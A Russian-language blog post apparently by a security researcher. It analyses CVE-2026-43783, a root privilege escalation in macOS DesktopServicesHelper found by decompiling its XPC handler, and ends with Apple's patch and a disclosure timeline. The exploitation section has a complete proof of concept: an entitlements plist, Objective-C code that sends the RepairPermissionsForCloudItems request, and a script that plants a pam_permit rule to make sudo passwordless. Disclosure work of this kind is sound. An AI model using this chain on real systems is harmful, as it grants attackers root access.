Привет, Хабр! Меня зовут Илья Андр и я работаю в команде PT Maze. В статье расскажу, как любопытство помогло мне найти и помочь закрыть CVE-2026-43783. Демон, который Finder использует для «починки» прав на iCloud‑файлы, оказался готов починить права на что угодно — включая системные директории. В этой статье разберем, как устроен DesktopServicesHelper изнутри и почему одного XPC‑запроса хватило для получения root. Но для того чтобы разобраться, как именно такое стало возможно, сперва немного теории по внутренностям macOS.

Немного про macOS
В macOS много системных демонов — фоновых процессов, работающих с повышенными привилегиями. Они общаются с приложениями через XPC — механизм межпроцессного взаимодействия от Apple. Приложение подключается к демону по имени его mach‑сервиса, отправляет запрос — демон выполняет. Сами сообщения — это словари ключ‑значение (xpc_dictionary), в которые можно упаковать произвольные данные: строки, числа, массивы, бинарные блобы.
За доступ к защищенным ресурсам отвечает подсистема TCC. Обычные приложения должны запрашивать разрешение у пользователя, но системные компоненты Apple могут обходить TCC. Entitlements — это специальные ключи, встроенные в code signature бинарника, которые определяют его привилегии. Например, ключ com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles дает процессу полный доступ ко всем файлам на диске — без вопросов к пользователю. С поиска таких привилегированных XPC‑сервисов с полным доступом к диску начался мой путь к CVE-2026-43783.
Поиск цели
В глаза бросился DesktopServicesHelper по пути /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper. Finder использует его для файловых операций, требующих повышенных привилегий: перемещение файлов, установка прав, работа с корзиной.

Загрузил бинарь в IDA и пошел в start(). Среди инициализации таймеров и очередей видим создание XPC‑listener'а — точки входа демона. Listener регистрирует mach‑сервис под определенным именем и начинает слушать входящие подключения. Любой процесс, знающий это имя, может подключиться и отправить запрос. Вот ключевая часть:
//получаем имя сервиса v16 = (const char *)sub_1000709F4(a1: 0); //регистрируем listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u); //назначаем обработчик входящих событий xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service); //запускаем event loop CFRunLoopRun();
Функция sub_1000709F4 возвращает имя mach‑сервиса. В start() она вызывается с аргументом 0, а значит демон регистрируется под именем com.apple.DesktopServicesHelper.
const char *__fastcall sub_1000709F4(int a1) { if ( a1 != 0 ) return "com.apple.DesktopServicesScriptingHelper"; else return "com.apple.DesktopServicesHelper"; }
stru_1000B4B48 — блок‑обработчик (callback), который демон вызывает при каждом входящем событии. В XPC взаимодействие устроено через сообщения: клиент формирует словарь с ключами и значениями, отправляет его демону, а демон разбирает содержимое и решает что делать. Все входящие события попадают именно в этот обработчик. Заглянем внутрь.

Invoke‑функция блока — sub_100032044. При новом подключении демон первым делом получает euid и egid клиента — effective user ID и group ID — идентификаторы пользователя и группы, от имени которых работает подключившийся процесс:
euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);
Затем назначает на соединение обработчик для входящих сообщений:
v15[2] = sub_10003AB2C; // invoke-функция блока xpc_connection_set_event_handler(connection: v14, handler: v15); xpc_connection_resume(connection: v14);
sub_10003AB2C — сюда попадают уже конкретные XPC‑запросы от клиента. Теперь нужно понять, как демон решает, какой запрос выполнить, а какой отклонить.
Диспетчер запросов
sub_10003AB2C — главный диспетчер. Здесь демон решает, что делать с запросом. Функция большая, поэтому разберем ее по частям.
Первым делом демон извлекает из сообщения строку request — имя команды, которую хочет выполнить клиент:
reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // логирование: "Got Request '%{public}@'"
Затем демон получает audit token подключившегося процесса и проверяет, находится ли он в песочнице (App Sandbox). App Sandbox — это механизм изоляции приложений в macOS, ограничивающий их доступ к файловой системе, сети и другим ресурсам. Логика разветвляется в зависимости от результата:
xpc_dictionary_get_audit_token(a1: v12, a2: buf); qmemcpy(__p, buf, sizeof(__p)); if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 ) { // клиент в песочнице - проверяем по белому списку if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0 && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 ) { sub_100034250(a1: v12, a2: &v32); // не в списке - убить демон } } else { // клиент не в песочнице - проверяем entitlement *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow")); v19 = (const __CFArray *)sub_10003B1E0(); v20 = v19; if ( v19 == nullptr || (v35.length = CFArrayGetCount(theArray: v19), v35.location = 0, CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) ) { sub_100034250(a1: v12, a2: &v32); // нет entitlement - убить демон } }
Если клиент в песочнице — имя запроса проверяется по белому списку из семи строк. Если совпало — проверка пройдена, запрос уходит дальше. Если нет — sub_100034250 убивает демон. Если клиент не в песочнице — демон проверяет наличие entitlement com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles. Нет entitlement — тоже смерть.
После прохождения проверки запрос попадает в каскад из двух таблиц обработчиков. Сначала sub_10002F7C8, затем sub_10002A194:
// первая таблица (8 команд, два аргумента) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // нашли - вызываем // вторая таблица (21 команда, три аргумента) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // нашли - вызываем
Теперь посмотрим на таблицы обработчиков. Первая таблица (sub_10002F7C8):
__int64 __fastcall sub_10002F7C8(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF __int64 v6; // [xsp+28h] [xbp-108h] BYREF __int64 v7; // [xsp+48h] [xbp-E8h] BYREF __int64 v8; // [xsp+68h] [xbp-C8h] BYREF __int64 v9; // [xsp+88h] [xbp-A8h] BYREF __int64 v10; // [xsp+A8h] [xbp-88h] BYREF __int64 v11; // [xsp+C8h] [xbp-68h] BYREF __int64 v12; // [xsp+E8h] [xbp-48h] BYREF __int64 v13; // [xsp+108h] [xbp-28h] BYREF if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "OperationSizing"); sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions"); sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation"); sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock"); sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata"); sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation"); sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup"); sub_10002AA78(a1: (int)&v12, __s: "DeleteItem"); sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8); v3 = (void **)&v13; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD8C8); } result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Тут ничего интересного. Восемь обработчиков (OperationSizing, SetChildPermissions,...), все закрыты проверкой entitlements. Но есть вторая таблица — v27 = sub_10002A194(a1: buf):
__int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Уже 21 обработчик. Диспетчер работает каскадно: сначала ищет имя запроса в первой таблице (sub_10002F7C8, 8 команд) — это «fire‑and‑forget» операции, которые принимают XPC‑соединение и peer (объект клиента), но не возвращают ответ. Если не нашел — ищет во второй (sub_10002A194, 21 команда) — это операции с ответом, которые дополнительно получают reply (объект для отправки результата обратно клиенту).
Почти все команды либо не делают ничего интересного, либо закрыты проверкой entitlements. Но есть одна, которая открыта — RepairPermissionsForCloudItems. Найдем ее обработчик — в ассемблере видно, что sub_10002AA78 принимает третьим аргументом указатель на функцию:
text:000000010002A2AC MOV X2, X16 text:000000010002A2B0 MOV X0, X20 ; int __text:000000010002A2B4 BL sub_10002AA78 __text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8 text:000000010002A2BC ADD X20, X21, #0x80 text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems" __text:000000010002A2C8 ADRL X16, sub_10002D744 __text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems ‑>>> sub_10002D744. Мы нашли единственный обработчик, доступный из песочницы без дополнительных entitlements. Осталось разобрать, что именно он делает с переданными данными.
Разбор обработчика RepairPermissionsForCloudItems
Обработчик sub_10002D744 делает три вещи. Сначала достает из XPC‑сообщения ключ "Paths" и десериализует его через NSKeyedUnarchiver в массив строк:
```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25)); ```
Затем передает каждый путь в sub_100029CE4 через sub_100034B5C, чтобы определить, нужна ли «починка». Для путей, где починка нужна, вызывает sub_10002A11C:
```c sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4); if ( v22[0] != v22[1] ) sub_10002A11C(a1: v5, a2: v22); ```
Никакой валидации путей — что передали, то и обрабатывает. Функция sub_100029CE4 проверяет, нужна ли «починка». Вот ключевая логика:
```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // не директория + hardlinks > 1 - пропустить v6 = sub_100071288(a1: v4); // получить UID вызывающего if ( v28.st_uid != v6 ) return true; // владелец не совпадает - нужна починка ```
Логика проверки:
lstat(path) │ ├─ не директория && hardlinks > 1 ? │ └─ да → false (пропустить) │ ├─ st_uid == наш UID ? │ └─ да → false (владелец совпадает, починка не нужна) │ └─ нет → true (нужна починка) │ └─ директория ? └─ да → рекурсия по содержимому
Для путей, где починка нужна, вызывается sub_10002A11C — простой цикл, который итерирует по результатам и вызывает sub_100029440 для каждого. Вот ключевая логика sub_100029440:
```c fd = open(path, 0x200000); fstat(fd, &st); // единственная проверка: не директория + hardlinks >= 2 - пропустить if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd); // получаем UID вызывающего процесса (нас - 501) caller_uid = sub_100071288(); // владелец не совпадает - меняем на наш if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid); close(fd); // если директория - рекурсивно вызываем себя для каждого элемента if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path); ```
Вот и все. fchown на переданный путь — без проверки, что он находится в ~/Library/Mobile Documents/ или каком‑то iCloud‑контейнере. Никакой валидации. А если путь — директория, функция рекурсивно обходит все содержимое и делает fchown на каждый элемент.
Перечитайте еще раз. Вдумайтесь. Передаем любую директорию — получаем в собственность все ее содержимое.
Итого
Полная цепочка от XPC‑запроса до fchown:
Sandboxed app │ ├─ xpc_connection_create_mach_service("com.apple.DesktopServicesHelper") │ ├─ xpc_dictionary: "request" = "RepairPermissionsForCloudItems" │ "Paths" = ["/private/etc/pam.d"] │ └─ отправка ──► DesktopServicesHelper (root) │ ├─ sandbox_check: клиент в песочнице? → да ├─ белый список: RepairPermissionsForCloudItems? → да, пропускаем ├─ NSKeyedUnarchiver: достаем пути ├─ lstat: st_uid != caller_uid? → да, нужна починка └─ fchown(path, 501, gid) ← произвольный путь, никакой валидации Один XPC-запрос - и любой файл или директория в нашей собственности.
Эксплуатация
Итак, у нас есть произвольный chown любого пути на диске. Осталось превратить это в root.
На macOS аутентификация работает через PAM. Конфиги лежат в /private/etc/pam.d/ — по файлу на каждую программу, которая проверяет пароль: sudo, login, su и так далее. Директория принадлежит root:wheel. А значит — мы можем забрать ее себе через наш chown. После этого мы вольны создать файл /private/etc/pam.d/sudo_local с одной строкой:
auth sufficient pam_permit.so
pam_permit.so — PAM‑модуль, который всегда возвращает успех. sudo проверяет sudo_local до основного конфига. Итог: sudo больше не спрашивает пароль.
Но есть проблема. Просто так подключиться к com.apple.DesktopServicesHelper из песочницы нельзя: sandbox по умолчанию блокирует mach‑lookup к этому сервису. При этом сам демон проверяет, что вызывающий процесс находится в песочнице — и только тогда пропускает RepairPermissionsForCloudItems без проверки entitlements. Ирония: sandbox здесь не защита, а пропуск.
Чтобы sandbox разрешил mach‑lookup, нужен entitlement com.apple.security.temporary‑exception.mach‑lookup.global‑name. Собираем минимальный набор entitlements для PoC‑приложения:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.app-sandbox</key> <true/> <key>com.apple.security.temporary-exception.mach-lookup.global-name</key> <array> <string>com.apple.DesktopServicesHelper</string> </array> </dict> </plist>
Два entitlement'а. com.apple.security.app-sandbox — включаем песочницу (без нее демон потребует TCC‑entitlement и не пропустит нас). com.apple.security.temporary-exception.mach-lookup.global-name — entitlement‑исключение для sandbox. Песочница разрешает подключение не ко всем mach‑сервисам, и com.apple.DesktopServicesHelper в список разрешенных не входит. Этот ключ добавляет исключение для конкретного сервиса. Больше ничего не нужно.
Пишем прямо во ViewController.m. Ключевой метод — chownPath:, который подключается к демону и отправляет запрос:
- (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return; xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn); NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil]; xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length); xpc_connection_send_message_with_reply_sync(conn, msg); }
Подключаемся к com.apple.DesktopServicesHelper, архивируем путь в NSArray через NSKeyedArchiver (как ожидает демон), формируем XPC‑словарь с ключом "request" = "RepairPermissionsForCloudItems" и отправляем. При запуске приложения вызываем chownPath: на /private/etc/pam.d и проверяем результат:
- (void)runExploit { [self chownPath:@"/private/etc/pam.d"]; usleep(200000); struct stat st; if (lstat("/private/etc/pam.d", &st) != 0) return; if (st.st_uid == getuid()) NSLog(@"ok"); }
200мс ожидания, затем lstat — если владелец сменился на наш UID, значит chown прошел. Осталось собрать все вместе. Шелл‑скрипт запускает PoC‑приложение, ждет пока демон отработает, проверяет что chown прошел, пишет PAM‑правило и получает root:
#!/bin/sh set -e PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local" # наше приложение ./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL" # root sudo id sudo su
Патч Apple
В обработчик RepairPermissionsForCloudItems Apple добавили проверку на entitlement check:
if ( (sub_100034110(a1: v5, a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 ) { sub_100034250(a1: v5, a2: v22); // нет entitlement - убить демон }
Теперь только процессы с приватным entitlement com.apple.private.desktopservices.cloud-repair-perm могут вызвать RepairPermissionsForCloudItems. Без него — sub_100034250 убивает демон. Остальная логика функции не изменилась.
Timeline
09.05.2026 Отправлен репорт в Apple Product Security
11.05.2026 Apple поставили репорт в ревью
13.05.2026 Apple воспроизвели баг, запланировали фикс на осень
26.05.2026 Патч в macOS 26.6 beta 1
11.08.2026 Присвоен CVE-2026-43783
Спасибо за прочтение, удачного багхантинга!